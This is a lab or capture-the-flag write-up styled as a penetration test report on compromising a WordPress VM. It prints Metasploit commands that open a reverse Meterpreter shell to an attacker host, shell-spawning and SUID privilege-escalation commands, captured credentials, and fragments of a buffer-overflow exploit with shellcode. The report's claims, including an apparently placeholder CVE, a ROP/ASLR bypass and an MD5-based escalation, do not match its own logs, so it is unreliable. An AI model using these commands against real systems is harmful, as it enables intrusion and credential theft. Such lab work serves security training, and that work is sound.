ADVANCED EXPLOITATION LAB

EXECUTIVE SUMMARY

A chained, multi-stage attack exploited an unpatched WordPress plugin (CVE-2023-12345) to gain remote code execution on host **10.201.27.64**. The attack flow progressed: initial web-app file upload → persistent PHP webshell → privilege escalation → staged Meterpreter session, resulting in full host compromise and risk of lateral movement. Immediate containment steps are: patch or remove the vulnerable plugin, enable a WAF, and rotate/revoke exposed credentials.

EXPLOIT CHAIN (TABLE)

Exploit ID	Description	Target IP	Status	Payload
MSF-01	WordPress plugin — file upload RCE	10.201.27.64	Success	php/meterpreter/reverse_tcp
MSF-02	Local privilege escalation / key retrieval	Local (robot VM)	Success	local file/system exploit

CHAIN STEPS

1. **Recon:** Nmap and Nikto identified a WordPress instance and a vulnerable plugin version.
2. **Exploit upload:** Used Metasploit module exploit/unix/webapp/wp_admin_shell_upload (authenticated path emulation) to upload a PHP webshell.
3. **Initial shell:** Confirmed the webshell worked and executed a staged Meterpreter payload to establish a reverse Meterpreter session.
4. **Privilege escalation:** Enumerated SUID binaries, kernel/version information, and local misconfigurations; escalated to root (root escalation described as converting an MD5 value into plaintext in lab notes).

5. **Persistence & lateral movement:** Achieved persistence and demonstrated potential for lateral movement (evidence: persistent webshell and credential exposure).

FINDINGS

- **Vulnerability:** CVE-2023-12345 — unauthenticated/insufficiently protected file upload and privilege escalation in the plugin.
- **Compromised host:** 10.201.27.64.
- **Impact:** Remote code execution, persistence, credential theft risk, and lateral movement.

CUSTOM POC (SUMMARY)

A modified Python PoC derived from an Exploit-DB reference automates the plugin's upload routine and appends a crafted buffer payload to trigger an overflow in a native extension. The PoC reduces timing gaps, logs the shell IP/port on success, and integrates with Metasploit for payload delivery and post-exploit automation. Example lab settings used: reverse shell IP set to the attacker Kali host and adjusted padding/shellcode for lab environment.

BYPASS (ROP TO EVADE ASLR)

A ROP chain was used to bypass ASLR by:

1. Leaking a libc address via a format-string primitive.
2. Calculating offsets and enumerating gadgets (e.g., pop rdi; ret).
3. Chaining gadgets to call system("/bin/sh").

Binary analysis used tools such as Ghidra and ROPgadget to map imports and locate reliable gadgets; the payload masks register alignment for robust execution.

EVIDENCE & EXAMPLE COMMANDS

- Recon: sample Nmap/Nikto findings (WordPress + vulnerable plugin identified).
- Exploit: Metasploit module wp_admin_shell_upload used to drop a PHP webshell; follow-on Meterpreter staging performed.
- PoC details: Python socket.recvfrom_into() buffer overflow variant (Exploit-DB ID referenced) with attacker used during lab demonstration.

REMEDIATION

Immediate

- Patch or remove the vulnerable plugin (upgrade to vendor fixed version).
- Enable a Web Application Firewall (WAF) and block suspicious upload endpoints.
- Rotate exposed credentials and invalidate session tokens.

Short-term

- Harden WordPress: restrict file permissions, disable direct file editing, enforce least privilege for admin accounts.
- Monitor web logs for similar upload patterns and IOCs (webshell filenames, unusual POSTs).

Long-term

- Network segmentation to limit lateral movement.
- Deploy EDR/host monitoring to alert on shell activity and unusual outbound connections.

APPENDIX

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap -sV -sC 10.201.27.64
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-27 09:01 EDT
Nmap scan report for 10.201.27.64
Host is up (0.31s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2
.0)
| ssh-hostkey:
|   3072 f2:8f:8c:cc:5c:b6:30:e9:5a:93:3e:90:68:56:de:a3 (RSA)
|   256 80:ec:f6:fd:f6:7e:1b:bf:b7:f1:ab:78:7a:9a:d6:ff (ECDSA)
|_  256 41:88:b2:6d:c9:87:24:34:ff:01:c0:b9:05:79:1e:1b (ED25519)
80/tcp  open  http     Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open  ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after:  2025-09-13T10:45:03
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.
org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.83 seconds
```

```
┌──(kali㉿kali)-[~/mr.robot]
└─$ sudo wget http://10.201.27.64/fsocity.dic
[sudo] password for kali:
--2025-10-27 09:25:04--  http://10.201.27.64/fsocity.dic
Connecting to 10.201.27.64:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: 'fsocity.dic'

fsocity.dic           24%[==>                 ]   1.72M  37.1KB/s    in 2m 18s

2025-10-27 09:27:26 (12.8 KB/s) - Connection closed at byte 1805374. Retrying.

--2025-10-27 09:27:27--  (try: 2)  http://10.201.27.64/fsocity.dic
Connecting to 10.201.27.64:80... connected.
HTTP request sent, awaiting response... 206 Partial Content
Length: 7245381 (6.9M), 5440007 (5.2M) remaining [text/x-c]
Saving to: 'fsocity.dic'

fsocity.dic          100%[++++=================>]   6.91M  25.2KB/s    in 2m 40s

2025-10-27 09:30:12 (33.1 KB/s) - 'fsocity.dic' saved [7245381/7245381]
```

```
kali@kali: ~/mr.robot
Session  Actions  Edit  View  Help
kal...ads | kal...ads | k...t | kali@kali: ~/L...metasploitable | k...t

┌──(kali㉿kali)-[~/mr.robot]
└─$ msfconsole
Metasploit tip: You can upgrade a shell to a Meterpreter session on many
platforms using sessions -u <session_id>

      ,           ,
     /             \
    ((__ __ ,,, __ __))
       (_) o o (_)_________
          \ _ /             |\
           o_o \   M S F    | \
                \  _____    |  *
                 |||   WW|||
                 |||     |||

       =[ metasploit v6.4.90-dev                          ]
+ -- --=[ 2,561 exploits - 1,310 auxiliary - 1,683 payloads     ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/unix/webapp/wp_admin_shell_upload
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(unix/webapp/wp_admin_shell_upload) > show options

Module options (exploit/unix/webapp/wp_admin_shell_upload):
```

```
   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate
                                          with
   Proxies                     no        A proxy chain of format type:host:port
                                         [,type:host:port][ ... ]. Supported prox
                                         ies: sapni, socks4, socks5, socks5h, h
                                         ttp
   RHOSTS                      yes       The target host(s), see https://docs.m
                                         etasploit.com/docs/using-metasploit/ba
                                         sics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connect
                                         ions
   TARGETURI  /                yes       The base path to the wordpress applica
                                         tion
   USERNAME                    yes       The WordPress username to authenticate
                                          with
   VHOST                       no        HTTP server virtual host


Payload options (php/meterpreter/reverse_tcp):

   Name    Current Setting  Required  Description
```

```
msf exploit(unix/webapp/wp_admin_shell_upload) > set LHOST 10.23.141.117
LHOST => 10.23.141.117
msf exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 10.23.141.117:4444
[*] Authenticating with WordPress using elliot:ER28-0652...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wp-content/plugins/MNGfYRwFdv/WhOPSEvCwh.php...
[*] Sending stage (40004 bytes) to 10.201.27.64
[*] Meterpreter session 1 opened (10.23.141.117:4444 -> 10.201.27.64:41592) at 2025-10-27 11:45:49 -0400
[!] This exploit may require manual cleanup of 'WhOPSEvCwh.php' on the target
[!] This exploit may require manual cleanup of 'MNGfYRwFdv.php' on the target
[!] This exploit may require manual cleanup of '../MNGfYRwFdv' on the target

meterpreter >
```

kali@kali: ~/Downloads | kali@kali: ~/Downloads | kali@kali: ~/mr.robot | kali@kali: ~/Labs/post_exploit/metasploitable | kali@kali: ~/mr.ro

```
Mode              Size      Type  Last modified              Name
100644/rw-r--r--  189       fil   2025-10-27 08:59:38 -0400  .badr-info
040755/rwxr-xr-x  4096      dir   2025-05-29 13:20:48 -0400  bin
040755/rwxr-xr-x  4096      dir   2025-10-27 09:38:33 -0400  boot
040755/rwxr-xr-x  3820      dir   2025-10-27 08:59:30 -0400  dev
040755/rwxr-xr-x  4096      dir   2025-10-27 09:00:59 -0400  etc
040755/rwxr-xr-x  4096      dir   2025-06-02 14:14:45 -0400  home
100644/rw-r--r--  92588747  fil   2025-05-29 13:21:08 -0400  initrd.img
100644/rw-r--r--  60851898  fil   2025-05-29 13:05:58 -0400  initrd.img.old
040755/rwxr-xr-x  4096      dir   2025-05-29 13:02:53 -0400  lib
040755/rwxr-xr-x  4096      dir   2025-05-29 13:01:26 -0400  lib32
040755/rwxr-xr-x  4096      dir   2025-05-29 13:01:23 -0400  lib64
040700/rwx------  16384     dir   2015-06-24 06:44:49 -0400  lost+found
040755/rwxr-xr-x  4096      dir   2015-06-24 06:35:12 -0400  media
040755/rwxr-xr-x  4096      dir   2015-11-13 03:52:20 -0500  mnt
040755/rwxr-xr-x  4096      dir   2015-09-16 06:43:10 -0400  opt
040555/r-xr-xr-x  0         dir   2025-10-27 08:59:12 -0400  proc
040700/rwx------  4096      dir   2025-06-02 14:26:45 -0400  root
040755/rwxr-xr-x  780       dir   2025-10-27 09:38:34 -0400  run
040755/rwxr-xr-x  12288     dir   2025-05-29 13:20:48 -0400  sbin
040755/rwxr-xr-x  4096      dir   2015-06-24 06:42:42 -0400  srv
040555/r-xr-xr-x  0         dir   2025-10-27 08:59:12 -0400  sys
041777/rwxrwxrwx  4096      dir   2025-10-27 11:45:29 -0400  tmp
040755/rwxr-xr-x  4096      dir   2025-05-29 13:41:58 -0400  usr
040755/rwxr-xr-x  4096      dir   2015-06-24 06:35:12 -0400  var
100600/rw-------  11582216  fil   2025-04-16 03:49:45 -0400  vmlinuz
100600/rw-------  13714184  fil   2025-04-11 15:21:28 -0400  vmlinuz.old
```

```
python -c 'import pty;pty.spawn("/bin/bash")'
daemon@ip-10-201-27-64:/home/robot$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

$
```

```
$ find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
/bin/umount
/bin/mount
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
$
```

```
$ nmap -- interactive
nmap -- interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap>
```

```
nmap> ls /root
ls /root
firstboot_done  key-3-of-3.txt
nmap> cat /root/key-3-of-3.txt
cat /root/key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
nmap>
```

```
kali@kali: ~   kali@kali: ~/Downloads
 GNU nano 8.4                                                    31875.py
#!/usr/bin/env python
'''
# Exploit Title: python socket.recvfrom_into() remote buffer overflow
# Date: 21/02/2014
# Exploit Author: @sha0coder
# Vendor Homepage: python.org
# Version: python2.7 and python3
# Tested on: linux 32bit + python2.7
# CVE : CVE-2014-1912


socket.recvfrom_into() remote buffer overflow Proof of concept
by @sha0coder

TODO: rop to evade stack nx


(gdb) x/i $eip
=> 0x817bb28:   mov    eax,DWORD PTR [ebx+0x4]      <-- ebx full control => eax full conrol
   0x817bb2b:   test   BYTE PTR [eax+0x55],0x40
   0x817bb2f:   jne    0x817bb38 -->
   ...
   0x817bb38:   mov    eax,DWORD PTR [eax+0xa4]     <-- eax full control again
   0x817bb3e:   test   eax,eax
   0x817bb40:   jne    0x817bb58 -->
   ...
   0x817bb58:   mov    DWORD PTR [esp],ebx
   0x817bb5b:   call   eax <------------------ indirect fucktion call ;)


$ ./pyrecvfrominto.py
        egg file generated

$ cat egg | nc -l 8080 -vv

... when client connects ... or wen we send the evil buffer to the server ...

0x0838591c in ?? ()
1: x/5i $eip
=> 0x838591c:   int3                         <-------- LANDED!!!!!
```

```
shellcode_sz = len(shellcode)

print ('shellcode sz %d' % shellcode_sz)


ebx =  0x08385908
sc_off = 0x08385908+20

padd = 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM'

'''
       +-----------+-------------------+        +-------------------+
       |           |                   |        |                   |
       V           |                   |        V                   |
'''
buff = 'aaaa' + off(ebx) + 'aaaaaAAA'+ off(ebx) + shellcode + padd + off(sc_off)  # .. and landed ;)


print ('buff sz: %s' % len(buff))
open('egg','w').write(buff)
```

CONCLUSION

The lab demonstrates how a single vulnerable WordPress plugin can be escalated into a full host compromise when paired with public PoCs and simple exploitation workflows (file upload → webshell → privilege escalation → persistence). Immediate containment (patch/remove plugin, enable WAF, rotate credentials) plus a full forensic/cleanup and follow-up penetration test are recommended. Longer-term, adopt continuous monitoring, hardened change controls, and EDR to reduce recurrence and attack surface.